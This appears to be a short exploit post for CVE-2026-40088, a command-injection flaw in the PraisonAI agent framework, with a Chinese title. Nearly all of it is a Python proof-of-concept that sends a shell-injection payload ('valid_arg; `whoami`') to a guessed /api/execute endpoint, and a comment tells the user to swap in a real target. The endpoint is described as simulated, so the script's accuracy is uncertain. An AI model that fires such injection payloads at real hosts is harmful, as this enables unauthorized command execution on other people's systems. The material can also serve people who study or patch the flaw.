CVE-2026-40088 PraisonAI远程代码执行漏洞

# PoC for CVE-2026-40088: Command Injection in PraisonAI # This script demonstrates how to inject shell commands via user-controlled input. import requests def exploit(target_url): # The vulnerability exists in the execute_command function or workflow shell execution. # Attackers can inject arbitrary commands using shell metacharacters like ';', '|', or '`'. malicious_payload = "valid_arg; `whoami`" # Simulating a request to the vulnerable endpoint (e.g., agent workflow or YAML processing) endpoint = f"{target_url}/api/execute" data = { "input": malicious_payload, "workflow_type": "agent" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if command was executed.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit(target)